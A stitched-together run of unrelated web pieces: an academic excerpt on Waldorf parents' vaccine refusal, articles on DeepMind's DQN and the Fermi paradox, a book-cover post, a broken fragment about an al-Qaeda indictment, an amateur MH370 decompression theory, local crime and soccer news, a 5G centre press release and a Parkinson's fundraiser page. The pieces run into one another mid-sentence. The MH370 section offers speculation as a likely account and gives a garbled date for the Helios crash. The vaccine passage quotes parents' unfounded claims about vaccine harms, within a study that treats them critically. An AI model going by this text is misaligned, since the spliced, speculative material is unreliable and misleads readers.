individualized exposure risks, the potential severity of a given disease; the physical immaturity of young children; vaccine toxicity; side effects; vaccine failure rates; and, conversely, the idea that because vaccines do work that others will be protected and so one's own status should not matter. To start, parents often cited suspicions regarding the profit motives of corporations (one said that even the American Academy of Pediatrics was “beholden to companies” and that this was reflected in their endorsements [CI‐28]). Parents also often pointed to the otherwise foregone benefits of some diseases for immune system health. As Bertana noted, “[It] would strengthen our children's immune system to get that disease so why immunize against it?” (FI‐11). Another common theme was a perceived low risk for exposure. Here is Bertana again: “If my family lived in Kenya, we would vaccinate our children” (FI‐11). Nonetheless, most children had at least some vaccinations. When not attributed to one's “pre‐Waldorfian” ignorance, these were often justified in terms of individualized exposure risks. For instance, Catarina explained: “The reason [my child] has the tetanus is because we have [a farm] and that's a place where tetanus thrives” (CI‐18). Referencing both chances of exposure and an “as needed” orientation toward intervention, Catarina also noted that “city kids don't need to get it ‘cause it's not an issue. And you get a tetanus shot if you're injured anyways. If you get a puncture wound and you go to the hospital.” Some parents considered also the potential severity of a given disease in making a vaccination decision. “You going to risk rabies? Rabies is incurable,” said one parent (FG‐1). But when parents wanted vaccines for single diseases, they were often refused (“Apparently [single vaccines are] not stocked very often” [CI‐18]). Chicken pox was a favorite foil in arguments against vaccinating for diseases with low perceived severity. Parents often invoked their own childhood experience in justifying this. A typical statement was, “Yeah, we all had chicken pox … what the heck was the problem?” (FG‐1). After joining the school, this parent “stopped [her son's varicella shots] midway.” Some parents viewed younger, smaller children as ineligible for vaccination because of their general physical immaturity; one participant said Waldorf “parents seem to be more aware of any type of effects to the small bodies, the children's bodies” (FG‐1); another referred to “very heavy‐duty things that are not good for a young body” (FG‐2). Kat said, “I should wait ‘til they are older to have to manage so much chemical” (FI‐39). But even for older children, many parents felt that “vaccines are really toxic” (FI‐39). As one parent said regarding toxicity: “If you look at the ingredients of it you would not willingly put that into your child if you knew what was in it” (FG‐2). Known side effects also were a concern. As one parent put it, beginning (as was common) with scientistic authorizing rhetoric, “There is a lot of research out there that actually shows that a lot of the vaccines can cause autoimmune disease and allergies, especially food allergies [and …] a lot of learning disabilities” (FG‐2). Another parent in the group then clarified (again with reference to experts) that the now‐debunked autism link was, in fact, indirect: “If the immune system is not one hundred percent and you get any of these vaccines, it can cause damaging effects.” Likewise, Lou recounted having learned after the fact that “infant immunizations … go straight to the brain and so a brain that is already been compromised—[that leads to] seizures” (CI‐58). New explanations regarding antecedent conditions were being rallied to replace disproven causal claims (e.g., the MMR–autism link)—without parents having to change sides in the debate. Another point often made was that vaccines fail anyway. For example, validating his information by tracing its genealogy, Ivan said, “I know for a fact that the flu vaccine—I just heard on NPR that it's just a random guess” (CI‐28). In regard to a recent whooping cough outbreak, another parent declared authoritatively: “Probably ninety percent of the people [who contracted pertussis] had been vaccinated … and they had it much worse” (FG‐2). Simultaneously, vaccine refusal was justified because vaccines do work. As one parent asked, rhetorically: “If you feel like the vaccines are effective and in fact your child got vaccinated, then why are you scared of children that aren't vaccinated [laughter]? Wouldn't they be protected under this then? I don't know [laughter]. I never quite understood that” (FG‐2). Rather than looking at the population level, which is where epidemiological risk and vaccine effectiveness really live, this parent used the individual as the unit of analysis. That was, in fact, the norm: Although Waldorf education has a social mission, participants overlooked the plight of disease‐vulnerable people.The gamer punches in play after endless play of the Atari classic Space Invaders. Through an interminable chain of failures, the gamer adapts the gameplay strategy to reach for the highest score. But this is no human with a joystick in a 1970s basement. Artificial intelligence is learning to play Atari games. The Atari addict is a deep-learning algorithm called DQN. This algorithm began with no previous information about Space Invaders—or, for that matter, the other 48 Atari 2600 games it is learning to play and sometimes master after two straight weeks of gameplay. In fact, it wasn't even designed to take on old video games; it is a general-purpose, self-teaching computer program. Yet after watching the Atari screen and fiddling with the controls over two weeks, DQN is playing at a level that would humiliate even a professional flesh-and-blood gamer. Volodymyr Mnih and his team of computer scientists at Google, who have just unveiled DQN in the journal Nature, says their creation is more than just an impressive gamer. Mnih says the general-purpose DQN learning algorithm could be the first rung on a ladder to artificial intelligence. "This is the first time that anyone has built a single general learning system that can learn directly from experience to master a wide range of challenging tasks," says Demis Hassabis, a member of Google's team. Inside DQN's Brain This image highlights the neuroscience behind the Deep Q-Network (DQN) agent, which is rendered in a video-hologram style and exerts mastery over its data-rich external environment. Google DeepMind The algorithm runs on little more than a powerful desktop PC with a souped up graphics card. At its core, DQN combines two separate advances in machine learning in a fascinating way. The first advance is a type of positive-reinforcement learning method called Q-learning. This is where DQN, or Deep Q-Network, gets its middle initial. Q-learning means that DQN is constantly trying to make joystick and button-pressing decisions that will get it closer to a property that computer scientists call "Q." In simple terms, Q is what the algorithm approximates to be biggest possible future reward for each decision. For Atari games, that reward is the game score. At no point does DQN actually "understand" what's going on in the game in the way a human does Knowing what decisions will lead it to the high scorer's list, though, is no simple task. Keep in mind that DQN starts with zero information about each game it plays. To understand how to maximize your score in a game like Space Invaders, you have to recognize a thousand different facts: how the pixilated aliens move, the fact that shooting them gets you points, when to shoot, what shooting does, the fact that you control the tank, and many more assumptions, most of which a human player understands intuitively. And then, if the algorithm changes to a racing game, a side-scroller, or Pac-Man, it must learn an entirely new set of facts. That's where the second machine learning advance comes in. DQN is also built upon a vast and partially human brain-inspired artificial neural network. Simply put, the neural network is a complex program built to process and sort information from noise. It tells DQN what is and isn't important on the screen. Together, the artificial neural network and the Q-learning system allow DQN to soak up information in chunks. DQN looks at the last three frames of the Atari game its playing (and the current one) and over time, uses its past experience to predict which move will best impact its future score. It learns through trial and error—at no point does DQN actually "understand" what's going on in the game in the way a human player does. However, it gets better and better at relating the images it receives from the game screen to an optimal decision. Like so many of us, DQN performs better at some games than others. For example, the algorithm is a frighteningly good at Breakout, Boxing, and Star Gunner—orders of magnitude better than any human. But the algorithm fumbles at the side-scroller Montezuma's revenge. (The researchers believe this is probably related to Montezuma's revenge's point system, which does not consistently reward moving through the game with more points.) Is DQN Artificial Intelligence? "This system that we've developed is just a demonstration of the power of the general algorithms," says Koray Kavukcuoglu, one of DQN's developers. "The idea is for future versions of the system to be able to generalize to any sequential decision-making problem," such as the (admittedly distant) task of sorting through scientific data and drawing scientific conclusions. For now, they says DQN should be "applicable to many other tasks," he says, including more complex videogames. Bernhard Schölkopf, the director at the Max Planck Institute for Intelligent Systems in Tübingen, Germany, who was not involved in DQN's development, applauds the Google group's work. In a written analysis of DQN—also published today in Nature—he refers to it as "a remarkable example of the progress being made in AI," and makes a comparison to Deep Blue, the famous computer that beat chess champion Garry Kasparov in 1997. This algorithm began with no previous information about Space Invaders The Google researchers are cafeful to call DQN an "artificial agent," rather than AI. But the algorithm nonetheless starts to blur the lines. How do you classify a program that teaches itself to excel at tasks it's not designed for? AI researchers like Douglas Hofstadter have previously told Popular Mechanics that the term "artificial intelligence" deserves a hard stance. Technologies like IBM Watson or Apple's Siri are not AI, he argued, because they do not comprehend or think. To Hofstadter, comprehension is the core of the "intelligence" in AI. But Googles Hassabis says that algorithms like DQN are "more human-like [than Watson or Siri] in the sense that they learn how humans learn… from experiencing the world around us—and then our brains make models of the world and make decisions about what to do."By Anne Perry Posted on May 28, 2015 in Books, News with tags Book Covers, Tad Williams Love Tad Williams? Devoured The Dragonbone Chair? Can’t wait for the sequels to Memory, Sorrow and Thorn? Cat fan? Then read on! As you may know, Hodder have become the proud publishers of Tad Williams’ immortal, classic fantasy series Memory, Sorrow and Thorn – The Dragonbone Chair, Stone of Farewell and To Green Angel Tower – as well as his brilliant debut novel, Tailchaser’s Song. And today we’re delighted to reveal to you the all-new covers! So without further ado: (click to enlarge) The art is once again by our own inimitable Ben Summers, the brilliant creator of (to mention just the most recent) award-nominated covers for A Man Lies Dreaming and Sleeping Late on Judgement Day. The Memory, Sorrow and Thorn series will be available (for the first time ever in the UK) as ebooks from August 6th and Tailchaser’s Song will be available in print and as an ebook on August 20th. And don’t forget – we’ll be publishing the the first sequel to Memory, Sorrow and Thorn next year…A Virginia man has been arrested and indicted on charges he tried to help people he believed were al-Qaeda
. Now the fuselage is still would have been intact, so there are two possible things that could have happened from here. Firstly, the original theory was that the rapid loss of pressure at 35,000feet would have completely deprived the already disoriented pilots and passengers, and the plane would have continued on its autopilot course towards Beijing, and ended up crashing somewhere in Beijing. Now we have debunked this theory based on a few things. Firstly if the plane continued on auto-pilot at 35,000ft, it would have still appeared on ADS-B data, which it didn’t. It is also highly likely that if it continued on its route to Beijing, it would have run out fuel on land. Another issue would be that the plane would have continued to break apart if it had continued to fly at that altitude. The Kuala Lumpur Beijing route is also a very busy route and the 30,000 to 39,000 ft is a very busy bit of airspace and other planes would have noticed the stricken plane. With the information we have gathered over the last few days however, we have arrived at another possible theory which would correlate with some of the information that has been released so far. There would have been an explosive loss of pressure at 35,000ft when the SATCOM antenna array disintegrated. The pilots, while disoriented would have done two things, try to take the plane down to below 30,000 feet and try to turn around to the nearest airport for an emergency landing. This is corroborated by the turnaround statement that was tracked by the Military Radar. This also explains why sites like FlightRadar24 and Flightaware lost the flight at the Igari checkpoint. ADS-B isn’t able to track aircraft flying below 30,000ft, but the plane still would have appeared on DCA and Military radar. Now, the explosion would have taken out the entire SATCOM antenna array, so if the pilots did indeed try to send out a distress call over their normal communications channels, it would not have gone through. However they might not have been aware that their SATCOM antenna array is gone. There could have switched to other communication channels (VHF etc), but they might have been either disoriented, or they just felt that all communications were down. Its hard to speculate their condition and if they were able to get their oxygen masks on in time. Hypoxia (due to the lack of oxygen) can set in very fast, impair cognitive functioning of the brain and incapacitate a person in a short amount of time. Passenger oxygen masks on the 777 do not deploy until cabin altitude exceeds approximately 13,500, and passengers were likely unconscious by that time if it was a slow decompression. A similar condition was confirmed by the NTSB in the 1999 Lear Jet crash is South Dakota (via Wikipedia) [A] possible explanation for the failure of the pilots to receive emergency oxygen is that their ability to think and act decisively was impaired because of hypoxia before they could don their oxygen masks. No definitive evidence exists that indicates the rate at which the accident flight lost its cabin pressure; therefore, the Safety Board evaluated conditions of both rapid and gradual depressurization. If there had been a breach in the fuselage (even a small one that could not be visually detected by the in-flight observers) or a seal failure, the cabin could have depressurized gradually, rapidly, or even explosively. Research has shown that a period of as little as 8 seconds without supplemental oxygen following rapid depressurization to about 30,000 feet (9,100 m) may cause a drop in oxygen saturation that can significantly impair cognitive functioning and increase the amount of time required to complete complex tasks. A more gradual decompression could have resulted from other possible causes, such as a smaller leak in the pressure vessel or a closed flow control valve. Safety Board testing determined that a closed flow control valve would cause complete depressurization to the airplane’s flight altitude over a period of several minutes. However, without supplemental oxygen, substantial adverse effects on cognitive and motor skills would have been expected soon after the first clear indication of decompression (the cabin altitude warning), when the cabin altitude reached 10,000 feet (3,000 m) (which could have occurred in about 30 seconds). Investigations of other accidents in which flight crews attempted to diagnose a pressurization problem or initiate emergency pressurization instead of immediately donning oxygen masks following a cabin altitude alert have revealed that, even with a relatively gradual rate of depressurization, pilots have rapidly lost cognitive or motor abilities to effectively troubleshoot the problem or don their masks shortly thereafter. In this accident, the flight crew’s failure to obtain supplemental oxygen in time to avoid incapacitation could be explained by a delay in donning oxygen masks of only a few seconds in the case of an explosive or rapid decompression or a slightly longer delay in the case of a gradual decompression. In summary, the Safety Board was unable to determine why the flight crew could not, or did not, receive supplemental oxygen in sufficient time and/or adequate concentration to avoid hypoxia and incapacitation. The pilots could have tried to turn back and land at Kota Bahru Airport, but if they were incapacitated, they could have put the plane in autopilot or one of the autothrottle hold switches and hope they would recover and then take control of the plane. This would corroborate with the story of the pilot enroute to Narita who tried to contact the plane on all channels, and only receive faint mumbling from either the pilot or the co-pilot. I don’t see any reason why a pilot would lie to the media under circumstances like this. There were also a number of reports from people who claimed to have seen a low flying aircraft across places in Kelantan, some claiming that its tail wing was on fire at around 2am. If the plane was indeed on autopilot, it would also corroborate the latest evidence that it was last seen in the vicinity of Pulau Perak on the west coast before disappearing. The plane had enough fuel to continue flying on autopilot deep into the Indian Ocean. This would be quite similar to what happened with Helios Flight 522 on 29th December 1997 14 August 2005 when flight crew failed to react to pressure warnings. [via Wikipedia] Another critical clue to support this theory is in the phone calls by family members to the passengers of flight MH370. There was a lot of claims by family members that they were able to call the passengers onboard MH370, hours after it had mysteriously disappeared. Malaysian Airlines 777-200 planes are supposed to be equipped with ACN’s Aeromobile roaming service. This service would have allowed passengers to make and receive calls on their handphones during the flight. The following list at ACN’s page was last updated in March 2009, so we can’t confirm if MH370 had this system on board. If it did, it would support the theory on two fronts. Firstly, the passengers had all passed out unknowingly due to the gradual decompression and lack of oxygen so much so they were never able to make any distress calls. Since it was theoretically possible for the plane to continue flying on autopilot hours into its disappearance until it ran out of fuel (and possibly glide a further distance), it would be a fair assumption to say that calls being made to the phones were actually going through, just that nobody would have answered. [Link: ACN Aeromobile Roaming] Malaysian Airlines only had a trial run with ACN’s Aeromobile system in 2009, and the MH370 was not equipped with the system when it disappeared. [Note: This article will be updated as we get more information and try to understand what happened to flight MH370] Original credit source : http://mh370lost.tumblr.com/?og=1Girl Scouts will get apology in cookie-money theft Justin Rogers-Zenon, 19, pleaded guilty on Monday to aggravated robbery. Justin Rogers-Zenon, 19, pleaded guilty on Monday to aggravated robbery. Photo: Fort Bend DA's Office Photo: Fort Bend DA's Office Image 1 of / 1 Caption Close Girl Scouts will get apology in cookie-money theft 1 / 1 Back to Gallery As part of his sentence, a Richmond man has been ordered to write a letter of apology to a Girl Scout troop after he pleaded guilty this week in connection with the theft of less than $100 in cookie money, according to the Fort Bend District Attorney’s Office. The apology is in addition to six years probation, 180 days in jail, restitution and a fine in connection with the March 3 robbery. Justin Rogers-Zenon, 19, plead guilty Monday to aggravated robbery stemming from his arrest on March 8. State District Judge James H. Shoemake also sentenced Rogers-Zenon to 180 days in jail and ordered him to pay a $500 fine and $328 in restitution to the troop. He also was ordered to write them an apology. Prosecutors said the agreement satisfied the victim and her mother. “The defendant will spend the first six months in jail after which he will be closely monitored for years,” said Assistant District Attorney John Hawkins. “And the child witness won’t have to endure the rigors of testifying before her attacker.” On March 3, two Girl Scouts were selling cookies outside a Wal-Mart at Grand Parkway and Bellaire Boulevard. Rogers-Zenon acted interested in buying cookies. Instead, he grabbed a cash box and fled in a waiting car, according to Hawkins. Both girls ran after Rogers-Zenon but one was struck by the fleeing vehicle. She sustained minor injuries. Less than a week later, the driver of the car, a juvenile, was taken into custody, and Rogers-Zenon was arrested shortly afterward. The juvenile driver had been previously sentenced to three years probation after spending 120 days in detention. He also was ordered to pay restitution and to write a letter of apology to the Girl Scouts. If Rogers-Zenon violates his probation, he could face up to life in prison for the aggravated robbery offense.After falling behind the New York Cosmos, San Francisco responded with two goals to win their first home game of the fall season. Here are three things we learned from the game: 1) The team responded well to the loss of Cristian Portilla A day before the Cosmos game the team learned they would be without defensive midfielder Cristian Portilla for the remainder of the NASL season because of an ACL tear. To deal with the loss of Portilla, Deltas coach Marc Dos Santos rolled out a 3-4-1-2 formation with Michael Stephens and Tyler Gibson combining to take over the role. The two players were able to consistently apply defensive pressure and gum up the inside attack against New York. Greg Jordan subbed in late in the match to help kill off the game. The Deltas will continue to miss Portilla’s important contributions but it looks like his loss is not a fatal blow to the team’s chances to qualify for the NASL postseason. 2) Dagoberto was instrumental in the Deltas’ success against NYC Coach Dos Santos said he was going to incorporate Dagoberto slowly into the team in the Fall Season. But it appeared that Portilla’s injury forced his hand. The Brazilian started as an attacking midfielder slotted in behind Tommy Heinemann and Danny Cruz. Dagoberto had a hand in the first goal when his free kick set up Hopkins, and his pressure in the box forced a handball from a Cosmos defender to set up the winning penalty kick. In the second half the Brazilian also setup Heinemann who almost scored the team’s third goal. It’s looking like the Dagoberto addition to the team will continue to provide big dividends for San Francisco. 3) The fans responded with the second largest attendance at Kezar Stadium Two weeks ago San Francisco Deltas CEO Brian Helmick wrote a blog post to the team’s fans noting that the team had to improve attendance to guarantee future seasons for the pro soccer team. On Saturday night fans responded with the second best attendance for the team when 3,369 fans came out to Kezar. The Deltas have done better than the two previous pro soccer teams that played at Kezar Stadium. According to Tom Simpson, former coach of the San Francisco Seals who played in the USL A-League in 1998 and 1999, said the Seals averaged around 1,000 fans per game the two seasons playing in San Francisco. In 2007 the California Victory played one season in the USL First Division. They averaged less than a 1000 fans per match according to Mike Pizzo the team’s former director of gameday operations. Above 3,000 fans the atmosphere inside Kezar is excellent for a soccer game. But 3,000 is most likely lower than the team needs to survive long term. It will be interesting to see if the Deltas can keep the momentum going see with the next two home games against North Carolina FC on August 19th and then FC Edmonton on August 26th. Neither team is as big of a draw as the Cosmos.Housing over 170 researchers and attracting over £70 million of investment, including £12 million from the Higher Education Funding Council for England (HEFCE), the 5GIC is the world’s largest academic research centre dedicated to next generation mobile and wireless connectivity. The Centre brings together leading academic expertise and major industry partners to define and develop a global 5G network that will radically change lives across the world. Through their work, they have already developed a technology that enables speeds of one terabit per second (Tbps) - more than 1,000 times faster than the highest 4G speed, and filed over 15 patents. Professor Rahim Tafazolli, Director of the 5GIC, said: “While we have already achieved record-breaking speeds, 5G is not only about delivering faster mobile internet. It is a transformative set of technologies that will radically change our private and professional lives by enabling innovative applications and services, such as remote healthcare, wireless robots, driverless cars and connected homes and cities, removing boundaries between the real and cyber worlds. These capabilities make 5G a ‘Special Generation’ of connectivity. “The true impact of 5G will come from the innovative applications the new network will enable, some of which are yet to be realised. The opening of the Centre today marks an important step in allowing those from across the globe to work with us in developing the new network and for partners, other universities and industry to test out their new applications in a real world setting, before they are brought to market. “The ethos of the Centre is not built on competition but cooperation. 5G will be achieved through global collaboration so that everyone will benefit from working to a single standard. This technology will then be commercialised from 2020, driving economic development and research for the UK, while delivering research that will impact the world.” Jo Johnson, Minister for Universities and Science, said: “The development of 5G presents a significant economic opportunity and this world-leading centre will position the UK at the forefront of research into the next generation of communications technology. The Government wants Britain to be the best place in Europe to innovate and we are committed to supporting collaborations like this one to ensure pioneering research continues to improve people’s lives.” Video of the future Opening alongside the Centre is the 5GIC’s new testbed facility, providing researchers with a fully-functioning advanced 4G network. Over time, it will be upgraded to include fully-fledged 5G technologies and large scale Internet of Things (IoT). By 2018 the testbed will be able to deliver 10Gbs/per cell, ten times faster than the highest speed available over 4G. To demonstrate the potential of the testbed, 5GIC researchers and partners are today unveiling a pioneering wireless technology performing mobile streaming of ultra-high definition video. Developed in partnership with Huawei, BBC R&D and the 5GIC, ultra-high-definition (4k) video will be streamed to a mobile device over an enhanced outdoor mobile network, providing a first major step in delivering the expected capacity of 5G. Professor Rahim Tafazolli explained: “Using evolved hardware and software, the demonstration showed the capabilities 5G could hold for bandwidth hungry applications such as ultra-high definition video on the move. This provides much higher quality, less compressed images than 4G/LTE, streamed to a mobile device or television.” 5G Supporting the Internet of Things (IoT) Another key demonstration is focussed on the requirement for 5G to provide the necessary “backbone” to connect the billions of devices which will form the future IoT, supporting thousands of devices per square kilometre in addition to smart phone usage. The demonstration shows how a new (5G-Sparse Coding Multiple Access) radio waveform can support at least three times the number of IoT devices than would be possible with 4G. It is a great example of how the newly opened 5GIC testbed can be used to trial real 5G IoT applications, illustrating the level of improvement in network capacity that can be expected from a 5G network. Notes to Editors 5G Innovation Centre Partners The 5G Innovation Centre (5GIC) at the University of Surrey brings together leading academic expertise and key industry partners to develop the next generation of wireless technology, 5G. Partners include: EE, Huawei, O2, Vodafone, HEFCE, Enterprise M3, TEOCO Corporation, BBC, BT, Cobham, Anite, Ascom, Catapult Digital, Fujitsu, Rohde & Schwarz, Samsung, Roke, McLaren Applied Technologies, Ofcom, Imagination Technologies, ITRI, MYCOM OSI, Three and Ordnance Survey. Huawei Dr. Tong Wen, IEEE fellow, Huawei wireless CTO and 5G principal scientist, said: “Huawei is very pleased to be working as part of the team at the 5GIC. We are committed to researching and developing future technologies that help build better connected societies, businesses and economies, and ensuring 5G is a success is essential in achieving this. Globally we will work closely with research institutions, operators and small enterprises, to turn the 5G dream into reality. The 5GIC will play an important role in this by helping us start testing foundational 5G technologies as early as possible.” Telefonica Dr Mike Short, Vice President of Research & Development at Telefonica said: “As an industry we have seen significant change in market requirements over the past few years – and our customers now expect to have access to fast mobile connectivity at all times. These changing behaviours, coupled with the rise of wearable technology and the Internet of Things, mean that video and data usage are increasing rapidly. As a result, the development of 5G is going to be absolutely crucial in helping to bring customers the new digital experiences they want in the future. “We are delighted to be collaborating with leading international companies through our partnership with the University of Surrey, to explore and define how 5G connectivity will influence how we work and play. We are excited to help develop this technology over the coming years.” EE Paul Ceely, Head of Network Strategy at EE, said: “This is a great start in the UK's development to become the world leader in 5G. Mobile services become more and more central to businesses and consumers every year, and the 5GIC will be central to building the next generation of wireless connectivity." TEOCO Corporation Stephen Bowker, Vice President of Technology and Strategy, TEOCO Corporation, said: “As a Gold Founder member, TEOCO are extremely proud today to see the UK open a world leading global centre of excellence to drive research into 5G and beyond. TEOCO initially pledged support for this important 5G initiative in August 2012 (as AIRCOM International) which helped the University secure funding from the HEFCE. Since then we have been active in 5G research providing advanced radio planning, network dimensioning and service assurance capabilities to the 5GIC. Our market leading TEOCO Helix Service Assurance Suite is being deployed as part of the 5G Internet of Things (IoT) programme helping the UK lead the world to a “Smarter” future.” Samsung Chang Yeong Kim, Executive Vice President and Head of Digital Multimedia and Communications R&D of Samsung Electronics, said: “Samsung are proud to be a founding partner of the 5GIC. We are sharing our technical expertise in mmWave, Internet of Things and developments in the existing LTE advanced standards to create the next generation of mobile communications. Working with the centre’s researchers and industry partners, Samsung will help bring these new technologies into the global standards arena, putting the UK at the heart of 5G” Cobham Wireless Li-Ke Huang, research & technology director at Cobham Wireless, said: “Cobham Wireless is proud to be a 5GIC partner, and supporting this ground-breaking research by participating in the development and validation of the advanced air interface that is essential to power 5G.” Enterprise M3 Geoff French, Chair of the Enterprise M3 LEP, said: “The opening of this centre is tremendously exciting and is of worldwide significance. The £5million funding which we have contributed to this innovative project is to support SMEs so that they can make the most of the opportunities which emerge from this research and give them a head start on putting these new exciting technologies into operation. The LEP is determined to support innovation and this centre will be a driving force to increase productivity and economic growth.” Rohde & Schwarz Roland Steffen, Executive Vice President Test and Measurement at Rohde & Schwarz, said: “We are delighted to contribute our test & measurement expertise to the 5G research programme developed at the 5GIC in Surrey. With a strong global footprint for 4G LTE/LTE-Advanced, Rohde & Schwarz is committed to continuously accompany the evolution from 4G to 5G. We support the 5G vision to give the users the perception of infinite capacity, which will require a very flexible 5G infrastructure and the ability to manage additional spectrum resources in potentially high frequency bands." Imagination Technologies Tony King-Smith, EVP marketing, Imagination, said: “Our collaboration with 5GIC is particularly significant, especially as we gear up for the next wave of innovations for a highly connected world. Imagination will invest significant resources into 5GIC over the next five years, including both people and state-of-the art IP platforms, to help 5GIC develop technologies that will be highly scalable and easily deployable by the widest possible semiconductor, electronics goods and service provider community.” Ascom Rikard Lundqvist, Ascom Executive Board Member and General Manager of Ascom Network Testing, said: “We are really excited to be members of the 5GIC’s initiative to establish the next generation of mobile standards. Our TEMS™ test and monitoring tools have already been deployed at the Centre to ensure the test network environment. We look forward to further opportunities to collaborate.” Anite Paul Beaver, Products Director at Anite, said: “5G has the potential to transform wireless communications, however it will be essential to ensure that key technology attributes are appropriately designed and tested, and this is where Anite can play an important role. We are really excited to part of 5GIC, adding Anite’s valuable expertise to help accelerate key research initiatives.” MYCOM OSI Payam Taaghol, CEO MYCOM OSI, said: “As a UK headquartered company with 95%+ of our business coming from leading telecoms brands internationally, participation in the UK’s 5GIC will directly benefit our business through improved development of our market-leading telecom network management technology. 5G is more than just another tech upgrade but a big deal which will fundamentally change how we interact with our world, and we are delighted to contribute technology and expertise to help 5GIC lead global efforts in 5G R&D.” Vodafone Luke Ibbetson, Vodafone’s Group R&D Director said: “Vodafone is proud to be a founding member of the 5G Innovation Centre and we believe it will form a vital part of the UK and European 5G research efforts. A fundamental 5G requirement is to enable compelling new use cases and deliver a level of performance, cost and energy efficiency which is a real “step change” ahead of current mobile technologies. 5GIC has the facilities and world class academic resources to undertake primary research and demonstrate how well the emerging 5G technologies work under real world conditions, in a way which is meaningful for customers. Exciting stuff!”Why Aren't The Aliens Here Already? Enlarge this image toggle caption iStockphoto iStockphoto The story begins like this: In 1950, a group of high-powered physicists were lunching together near the Los Alamos National Laboratory. Among those in attendance were Edward Teller (father of the nuclear bomb) and the Nobel Prize-winning Enrico Fermi. The discussion turned to a spate of recent UFO sightings and, then, on to the possibility of seeing an object (made by aliens) move faster than light. The conversation eventually turned to other topics when, out the blue, Fermi suddenly asked: "Where is everybody?" While he'd startled his colleagues, they all quickly understood what he was referring to: Where are all the aliens? What Fermi realized in his burst of insight was simple: If the universe was teeming with intelligent technological civilizations, why hadn't they already made it to Earth? Indeed, why hadn't they made it everywhere? This question, known as "Fermi's paradox," is now a staple of astrobiological/SETI thinking. And while it might seem pretty abstract and inconsequential to our day-to-day existence, within Fermi's paradox there lies a terrible possibility that haunts the fate of humanity. Enough issues are packed into Fermi's paradox for more than one post and — since Caleb Scharf and I are just starting a research project related to the question — I am sure to return to it. Today, however, I just want to unpack the basics of Fermi's paradox and its consequences. The most important thing to understand about Fermi's paradox is that you don't need faster-than-light travel, a warp drive or other exotic technology to take it seriously. Even if a technological civilization built ships that reached only a fraction of the speed of light, we might still expect all the stars (and the planets) to be "colonized." For example, let's imagine that just one high-tech alien species emerges and starts sending ships out at one-hundredth of the speed of light. With that technology, they'd cross the typical distance between stars in "just" a few centuries to a millennium. If, once they got to a new solar system, they began using its resources to build more ships, then we can imagine how a wave of colonization begins propagating across the galaxy. But how long does it take this colonization wave to spread? Remarkably, it would only take a fraction of our galaxy's lifetime before all the stars are inhabited. Depending on what you assume, the propagating wave of colonization could make it from one end of our Milky Way to the other in just 10 million years. While that might seem very long to you, it's really just a blink of the eye to the 10-billion-year-old Milky Way (in other words, the colonization wave crosses in 0.001 times the age of the galaxy). That means if an alien civilization began at some random moment in the Milky Way's history, odds are it has had time to colonize the entire galaxy. You can choose your favorite sci-fi trope for what's going on with these alien "slow ships." Maybe they use cryogenic suspension. Maybe they're using generation ships — mobile worlds whose inhabitants live out entire lives during the millennia-long crossing. Maybe the aliens don't go themselves but send fully autonomous machines. Whatever scenario you choose, simple calculations, like the one above, tend to imply the aliens should be here already. Of course, you can also come up with lots of resolutions to Fermi's paradox. Maybe the aliens don't want to colonize other worlds. Maybe none of the technologies for the ships described above really work. Maybe, maybe, maybe. We can take up some of those solutions in later 13.7 posts. For today, however, let's just consider the one answer that really matters for us, the existential one that is very, very freaky indeed: The aliens aren't here because they don't exist. We are the only sentient, technological species that exists in the entire galaxy. It's hard to overstate how profound this conclusion would be. The consequences cut both ways. On the one hand, it's possible that no other species has ever reached our state of development. Our galaxy with its 300 billion stars — meaning 300 billion chances for self-consciousness — has never awakened anywhere else. We would be the only ones looking into the night sky and asking questions. How impossibly lonely that would be. On the other hand, it's also possible that other species have made it to where we stand today. But no one has made it much farther. Say that like a "great filter," something like war or environmental collapse keeps anyone, anywhere, from reaching beyond our stage of technological development. If that's true then we, like all who have come before us, are doomed. So what is it? What is the answer? What is it that Fermi's paradox is trying to tell us? After all is said and done, where is everyone? Adam Frank is a co-founder of the 13.7 blog, an astrophysics professor at the University of Rochester, a book author and a self-described "evangelist of science." You can keep up with more of what Adam is thinking on Facebook and Twitter: @adamfrank4.Parkinson “Moving Day” Fundraiser: Hosted by the National Parkinson Foundation ~ South Palm Beach County Chapter – Event Date: Sunday, November 6, 2016 Location: FAU ~ Boca Raton ~ Stadium Parkinson Disease’s annual NPF national fundraiser called Moving Day is this November in Boca Raton, Florida. It is one of the biggest fundraiser events of the NPF and proceeds go for research, support groups as well as many community based services for people with Parkinson Disease, such as Surf & Turf, Music, Tai Chi, Boxing and other claseses. Sponsorship Opportunities 2016 Moving Day®Boca Raton – South Palm Beach County Chapter National Parkinson Foundation 21301 Powerline Road ~ Suite 300 Boca Raton, Florida 33433 — 561-962-1702 www.movingdaybocaraton.org Contact: Robin Miller, Executive Director Rmiller@npfsouthpalmbeach.org The National Parkinson Foundation: The mission of the National Parkinson Foundation (NPF) is to make life better for people with Parkinson’s through expert care and research. Parkinson’s Disease (PD) Affecting an estimated one million Americans and four to six million worldwide, PD is the second most common neurodegenerative disease after Alzheimer’s and is the 14th leading cause of death in the United States. It is associated with a progressive loss of motor control (e.g., shaking or tremor at rest and lack of facial expression) as well as non-motor symptoms (e.g., depression and anxiety). There is no cure for PD and 60,000 new cases are diagnosed each year in the United States alone. There is a link between Ashkenazic Jews of European descent and PD. These individuals are more likely to carry a mutation in the LRRK2 gene than other folks. This gene is the most common genetic contributor to Parkinson Disease. Studying people carrying the LRRK2 mutation can make a huge difference in finding new treatment methods. Sergey Brin, co-founder of Google, is a carrier of this gene mutation which he inherited from his mother who has had early onset PD. About the National Parkinson Foundation (NPF) Founded in 1957, the National Parkinson Foundation’s mission is to make life better for people with Parkinson’s through expert care and research. NPF has funded more than $189 million in care, research and support services. For more information about NPF, visit www.parkinson.org, or call the NPF Helpline at 1-800-4PD-INFO (473-4636). NPF remains focused and dedicated to finding the best treatments that help control the symptoms of PD and enable people with Parkinson’s to manage the disease. Moving Day®: A National Celebration of Movement Moving Day® is more than just a walk. It highlights “movement” and exercise as a symbol of hope and progress because of its essential role in treating Parkinson’s disease. Each event features our unique Movement Pavilion, with stations such as yoga, Pilates, Tai Chi, dance and much more. Whether you take part on a team or join as an individual, you’ll get a chance to move with thousands of supporters who share a common goal — to help beat Parkinson’s. Since it launched in 2011, the Moving Day® program has raised over $11 million and attracted over 80,000 participants. Help Us Change Lives Support the National Parkinson Foundation’s (NPF) mission to help every person diagnosed with Parkinson’s live their best possible life now. Your support will help us fund better research, better treatment and better lives. Specifically, your support will help NPF: Deliver quality care to more than 50,000 Parkinson’s patients worldwide through our NPF Center of Excellence network; Fund cutting-edge research like the Parkinson’s Outcomes Project, aimed at better treatment and care; Provide free resources for patients and their families, such as a toll-free Helpline 